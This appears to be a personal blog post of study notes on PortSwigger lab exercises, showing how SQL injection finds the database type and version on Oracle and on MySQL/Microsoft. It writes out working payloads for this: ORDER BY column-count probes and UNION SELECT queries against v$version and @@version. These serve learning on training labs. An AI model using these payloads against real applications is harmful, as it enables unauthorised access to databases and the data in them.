3. SQL Injection - Examining the Database - Versions

Examining the type of database and its details like version, how many tables and what the table holds is useful.


Cheat Sheet SQL Injection

https://portswigger.net/web-security/sql-injection/cheat-sheet


Do SQL Injection to retrieve the database version. 

(ORACLE)

Lab-07 - SQL injection attack, querying the database type and version on Oracle
(1) Determine the number of columns
' order by 3 -- -> internal server error
3 - 1 = 2

(2) Determine the data types of the columns
' UNION SELECT 'a', 'a' from DUAL-- -> Oracle database

(3) Output the version of the database
' UNION SELECT banner, NULL from v$version--
SELECT banner FROM v$version

(Microsoft/MySQL)

Using BURP Intruder and Repeater

Lab 08 - SQL injection attack, querying the database type and version on MySQL and Microsoft
SQL Injection - Product Category
End Goal - display the database version
Analysis:
(1) Find number of columns
' order by 3# -> internal server error
3 - 1 = 2
(2) Figure out which columns contain text
' UNION SELECT 'a', 'a'#
(3) Output the version
' UNION SELECT @@version, NULL#
SELECT @@version
8.0.23

Comments

Popular posts from this blog

2. FreeCodeCamp - Dynamic Programming - Learn to Solve Algorithmic Problems & Coding Challenges

20. Data Analytics - Analyze Data to Answer Questions - Week 1

3. Algorithms - Selection Sort